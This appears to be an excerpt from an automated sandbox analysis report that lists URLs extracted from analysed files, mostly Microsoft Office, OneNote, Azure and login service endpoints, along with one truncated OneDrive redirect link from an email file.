Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.cortana.ai
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.microsoftstream.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.office.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.officescripts.microsoftusercontent.com/api
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.onedrive.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/imports
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://api.scheduler.
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://apis.mobile.m365.svc.cloud.microsoft
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://app.powerbi.com
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://apps.apple.com/in/app/microsoft-onenote/id410395246
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://attributes.engagement.office-int.com
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://attributes.engagement.office.com
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://attributes.engagement.officeppe.com
Source: chromecache_273.7.dr	String found in binary or memory: https://augloop-int.officeppe.com/v2
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://augloop.office.com
Source: chromecache_273.7.dr	String found in binary or memory: https://augloop.office.com/v2
Source: chromecache_226.7.dr	String found in binary or memory: https://augloop.office.com/v2;394866fc-eedb-4f01-8536-3ff84b16be2a;liveprofilecard.access;https://sh
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://c3web.trafficmanager.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://canary.designerapp.
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designer-mobile
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/fonts
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-assets
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-dynamic-strings
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-home-screen
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designerapp/mobile-toolbar
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://cdn.dev.fluidpreview.office.net
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://cdn.dev.fluidpreview.office.net/fluid/dev
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://cdn.dev.fluidpreview.office.net/fluid/stg
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.entity.
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://cdn.fluidpreview.office.net
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://cdn.fluidpreview.office.net/fluid/df
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://cdn.fluidpreview.office.net/fluid/gcc
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://cdn.fluidpreview.office.net/fluid/prod
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://cdn.hubblecontent.msit.osi.office.net
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/fonts
Source: chromecache_297.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161821840453_Scripts/BrowserUls.js
Source: chromecache_297.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161821840453_Scripts/CommonDiagnostics.js
Source: chromecache_297.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161821840453_Scripts/ExternalResources/js-cookie.js
Source: chromecache_297.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161821840453_Scripts/Instrumentation.js
Source: chromecache_297.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161821840453_Scripts/LearningTools/LearningTools.js
Source: chromecache_297.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161821840453_Scripts/aria-web-telemetry-2.9.0.min.js
Source: chromecache_297.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/161821840453_Scripts/pickadate.min.js
Source: chromecache_249.7.dr, chromecache_443.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details16x16.png
Source: chromecache_249.7.dr, chromecache_443.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details32x32.png
Source: chromecache_249.7.dr, chromecache_443.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details48x48.png
Source: chromecache_249.7.dr, chromecache_443.7.dr	String found in binary or memory: https://cdn.onenote.net/officeaddins/images/meetings/insert_outlook_meeting_details80x80.png
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/DeltaAdvisory
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_273.7.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://contentstorage.osi.office.net/images/2f4febe2cca96f7f.gif
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://contentstorage.osi.office.net/images/eb14b3fe6a1e1671.png
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cortana.ai
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cortana.ai/api
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://cr.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://d.docs.live.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://designerapp.azurewebsites.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://designerappservice.officeapps.live.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://directory.services.
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://ecs.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ecs.office.com/config/v1/Designer
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://edge.skype.com/registrar/prod
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://edge.skype.com/rps
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://edog.onenote.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/v2.1601652342626
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: chromecache_288.7.dr	String found in binary or memory: https://fa000000096.resources.office.net
Source: chromecache_288.7.dr	String found in binary or memory: https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2210.23001/en-us_w
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://fa000000096.resources.office.net/f7024bdc-7caf-4ca8-807d-2908f09640d6/1.0.2401.26003/en-us_w
Source: chromecache_282.7.dr, chromecache_259.7.dr	String found in binary or memory: https://fa000000128.resources.office.net
Source: chromecache_282.7.dr, chromecache_259.7.dr	String found in binary or memory: https://fa000000128.resources.office.net:3000/index.html
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://feross.org
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://feross.org/opensource
Source: chromecache_273.7.dr	String found in binary or memory: https://forms.office.com
Source: chromecache_273.7.dr	String found in binary or memory: https://forms.office.com/Pages/OneNoteMathAddinFunctionPage.aspx
Source: chromecache_340.7.dr, chromecache_350.7.dr, chromecache_273.7.dr	String found in binary or memory: https://forms.officeppe.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/%s
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://fpastorage.cdn.office.net/firstpartyapp/addins.xml
Source: chromecache_278.7.dr, chromecache_346.7.dr, chromecache_381.7.dr, chromecache_320.7.dr	String found in binary or memory: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md
Source: chromecache_435.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_238.7.dr, chromecache_288.7.dr	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://graph.windows.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://graph.windows.net/
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://hedwigtestserver.blob.core.windows.net/builds/
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://hubblecontent.azureedge.eaglex.ic.gov
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://hubblecontent.azureedge.microsoft.scloud
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/pivots/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ic3.teams.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: chromecache_273.7.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore/flyoutdetails/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://invites.office.com/
Source: ES Ny kontraktsrunda.msg, ~WRS{771B1FA9-18B7-40B1-B859-D17FAA449978}.tmp.0.dr	String found in binary or memory: https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24D
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: chromecache_428.7.dr, chromecache_255.7.dr	String found in binary or memory: https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://login.live-int.com
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://login.live.com
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://login.microsoftonline-int.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://login.microsoftonline.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://login.microsoftonline.com/organizations
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://login.windows-ppe.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://login.windows.local
Source: chromecache_302.7.dr, chromecache_284.7.dr	String found in binary or memory: https://login.windows.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://make.powerautomate.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://management.azure.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://management.azure.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messagebroker.mobile.m365.svc.cloud.microsoft
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://messaging.office.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://mss.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_238.7.dr, chromecache_288.7.dr, chromecache_373.7.dr, chromecache_361.7.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: chromecache_273.7.dr	String found in binary or memory: https://office.visualstudio.com/DefaultCollection/OC/_wiki/wikis/OC.wiki/22688/Using-Dictation-on-yo
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr, chromecache_282.7.dr, chromecache_259.7.dr	String found in binary or memory: https://officeapps.live.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://officepyservice.office.net/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://officepyservice.office.net/service.functionality
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: chromecache_273.7.dr	String found in binary or memory: https://onedrive.live.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: chromecache_226.7.dr	String found in binary or memory: https://onenote.officeapps.live.com
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://osizewuspersimmon001.blob.core.windows.net
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://osiziwuspersimmon002.blob.core.windows.net
Source: chromecache_303.7.dr, chromecache_371.7.dr	String found in binary or memory: https://osizpscuspersimmon000.blob.core.windows.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://otelrules.svc.static.microsoft
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office365.com
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://outlook.office365.com/connectors
Source: EDF995D6-4714-4226-A33B-39743D39632C.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
